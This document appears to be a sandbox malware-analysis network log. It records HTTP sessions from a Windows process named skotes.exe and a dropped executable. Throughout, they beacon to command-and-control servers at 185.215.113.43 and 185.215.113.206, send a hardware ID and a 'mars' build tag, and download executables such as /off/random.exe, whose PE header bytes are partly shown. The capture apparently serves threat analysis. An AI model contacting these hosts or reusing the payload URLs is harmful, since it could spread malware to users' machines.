Nov 12, 2024 13:36:08.173583031 CET	1236	IN	Data Raw: 8a 47 37 c0 28 6c b4 3d e9 e6 e0 4e 65 3d bf 35 48 3a 26 62 04 b3 e6 54 20 22 b3 7d ee 4b 4e 18 a8 9b ff 61 59 22 5f 20 ee f6 ae 2d 65 b3 e9 e6 19 01 77 62 ee 0e c1 59 5d 6c d3 51 5f 32 3e ce 1c 26 c1 e1 5c 43 ba 3c 1d 44 7a f7 db e5 b9 03 e3 53 Data Ascii: G7(l=Ne=5H:&bT "}KNaY"_ -ewbY]lQ_2>&\C<DzSH>Z}@4g6e>b`a LF>29jW{%:~hF"L*2M@nj"g!L>-Ca&!h&B@cn<;%3
Nov 12, 2024 13:36:08.173594952 CET	1236	IN	Data Raw: f7 93 af 04 00 5e b4 ff 87 b7 f0 13 33 52 ee f3 19 8a c6 31 49 7c be 1f 00 9a b4 1f 5c 52 de 1f 1a 34 c2 e2 e0 4a b4 1f 78 52 ae 1f fe 1e b2 80 29 d2 e0 f6 8b 3b ce e5 b2 b4 02 f2 19 51 de f3 1f ca e3 a2 eb db 4f 72 b0 40 bf c9 e0 06 29 6e 87 be Data Ascii: ^3R1I\|\R4JxR);QOr@)nNRi=Zo/c&@!KDi>:ho1hel6O;enV KrS:~fl^g&Cf6_ZyC_\bU9?l>:z@`5V((>
Nov 12, 2024 13:36:08.173605919 CET	1236	IN	Data Raw: 5f c2 0d 2e 80 43 4e 88 33 2e b7 c1 29 c7 c6 95 ee 7e 5e 0d 64 b3 6c 26 ee f2 22 20 a8 52 22 39 fc e2 a8 46 3d 02 be f3 38 32 8e 67 68 cc 32 b5 00 22 b5 ff ff 61 c0 a1 60 6c 2a 1e 8b 82 e2 14 3c ca b4 75 63 b3 14 3a 5f 2d 2e 47 59 43 12 e6 0b cb Data Ascii: _.CN3.)~^dl&" R"9F=82gh2"a`l*<uc:_-.GYC;U`bNN(RI:gfK6r--_zfr<EFV{6 !etiNb5'z1&bL) vO@lxO[-@a&'(29''<sI8
Nov 12, 2024 13:36:08.178459883 CET	1236	IN	Data Raw: eb d6 e6 31 1d d5 c0 f3 f3 3b c2 e5 bf cb e0 72 e0 3d 2e 89 59 40 de e5 fb 6e 2b 5d 62 3b 25 fb f8 bf a0 f6 4b 3b ca 1f 1d 90 af 03 f9 a4 a0 f3 93 3a e2 69 61 7a a6 f8 67 7d 21 f4 59 72 c3 85 e0 56 d8 23 dd 0c e1 25 18 40 82 81 33 fe e4 47 08 0c Data Ascii: 1;r=.Y@n+]b;%K;:iazg}!YrV#%@3G 728zlyBfb:dl>ROs&@~>+^N<n!HVN_^2&0j!D#NK:'>bb8ZRV S}j:NSq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	62391	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:15.297554970 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 37 34 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005746001&unit=246122658369
Nov 12, 2024 13:36:16.192945957 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:36:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	62392	185.215.113.16	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:16.622699976 CET	140	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16 If-Modified-Since: Tue, 12 Nov 2024 12:24:50 GMT If-None-Match: "67334912-1b3400"
Nov 12, 2024 13:36:17.505281925 CET	192	IN	HTTP/1.1 304 Not Modified Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:36:17 GMT Last-Modified: Tue, 12 Nov 2024 12:24:50 GMT Connection: keep-alive ETag: "67334912-1b3400"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	62393	185.215.113.206	80	9148	C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:16.731805086 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 13:36:17.643656969 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:36:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 13:36:17.649586916 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKKEGCAAECAAAKFBGIE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 38 37 42 37 37 30 42 43 37 46 32 31 34 38 37 37 32 38 38 37 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 4b 45 47 43 41 41 45 43 41 41 41 4b 46 42 47 49 45 2d 2d 0d 0a Data Ascii: ------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="hwid"3F87B770BC7F2148772887------BAKKEGCAAECAAAKFBGIEContent-Disposition: form-data; name="build"mars------BAKKEGCAAECAAAKFBGIE--
Nov 12, 2024 13:36:17.931478977 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:36:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	62394	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:19.254184008 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 37 34 37 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005747031&unit=246122658369
Nov 12, 2024 13:36:20.170032024 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:36:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	62395	185.215.113.16	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:20.181163073 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 12, 2024 13:36:21.112611055 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:36:20 GMT Content-Type: application/octet-stream Content-Length: 2745856 Last-Modified: Tue, 12 Nov 2024 12:23:54 GMT Connection: keep-alive ETag: "673348da-29e600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2a 00 00 04 00 00 1e 76 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`* `@ v`Ui` @ @.rsrc`2@.idata 8@moxnkmea)):@wbqgbjdp @)@.taggant@`")@
Nov 12, 2024 13:36:21.112624884 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 13:36:21.112644911 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 13:36:21.112657070 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 13:36:21.112667084 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 13:36:21.112725019 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 13:36:21.112745047 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 13:36:21.112766027 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 13:36:21.112782001 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 13:36:21.112796068 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 13:36:21.117611885 CET	1236	IN	Data Raw: bc 46 1d c8 09 dd 34 d7 ed fd 53 14 a8 76 f8 dd d8 4d 2d a3 f2 7f 05 4f dd cd 4d b7 c9 61 59 45 9b 97 58 6b b5 47 01 ef 24 13 e1 a5 a3 01 5b 61 26 52 53 df 20 bf 53 72 5b c5 7d 8d 8f 5f 37 97 52 85 35 2d 49 48 d3 59 d0 8e ed 6c d9 92 5b 83 5d de Data Ascii: F4SvM-OMaYEXkG$[a&RS Sr[}_7R5-IHYl[]`uK)\Z(fK5)SZ-/KO/x'Q7Ye$'.IL(z]1lLGMnZ8Z'QI6(]rs^bqQr-8S\K<2MGe\|]M1tU}RJ8"JO!/^;Y_WaKp@_H^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	62399	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:29.907007933 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 35 37 34 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005748001&unit=246122658369
Nov 12, 2024 13:36:30.830295086 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:36:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	62401	185.215.113.206	80	3004	C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:30.472774982 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 13:36:31.377290010 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:36:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 13:36:31.389592886 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDGCGDBGCAAEBFIECGH Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 38 37 42 37 37 30 42 43 37 46 32 31 34 38 37 37 32 38 38 37 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 47 43 47 44 42 47 43 41 41 45 42 46 49 45 43 47 48 2d 2d 0d 0a Data Ascii: ------HJDGCGDBGCAAEBFIECGHContent-Disposition: form-data; name="hwid"3F87B770BC7F2148772887------HJDGCGDBGCAAEBFIECGHContent-Disposition: form-data; name="build"mars------HJDGCGDBGCAAEBFIECGH--
Nov 12, 2024 13:36:31.669121981 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:36:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	62402	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:32.549079895 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:36:33.450474977 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:36:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	62403	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:34.971242905 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:36:35.909724951 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:36:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	62404	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:37.641752958 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:36:38.544904947 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:36:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	62405	185.215.113.206	80	8412	C:\Users\user\AppData\Local\Temp\1005746001\80b5f835af.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:38.939527035 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 13:36:39.849538088 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:36:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 13:36:39.854526997 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAEBFHJJDAAKFIECGDB Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 38 37 42 37 37 30 42 43 37 46 32 31 34 38 37 37 32 38 38 37 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 42 2d 2d 0d 0a Data Ascii: ------CAAEBFHJJDAAKFIECGDBContent-Disposition: form-data; name="hwid"3F87B770BC7F2148772887------CAAEBFHJJDAAKFIECGDBContent-Disposition: form-data; name="build"mars------CAAEBFHJJDAAKFIECGDB--
Nov 12, 2024 13:36:40.156011105 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:36:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	62406	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:40.110291958 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:36:41.201021910 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:36:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Nov 12, 2024 13:36:41.431890965 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:36:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	62409	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:42.826313019 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:36:43.718128920 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:36:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	62410	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:45.229027033 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 38 42 30 32 44 37 39 42 32 35 42 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A78B02D79B25B82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 12, 2024 13:36:46.165342093 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:36:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	62411	185.215.113.43	80	8976	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:36:47.812578917 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 13:36:48.712805986 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 12:36:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

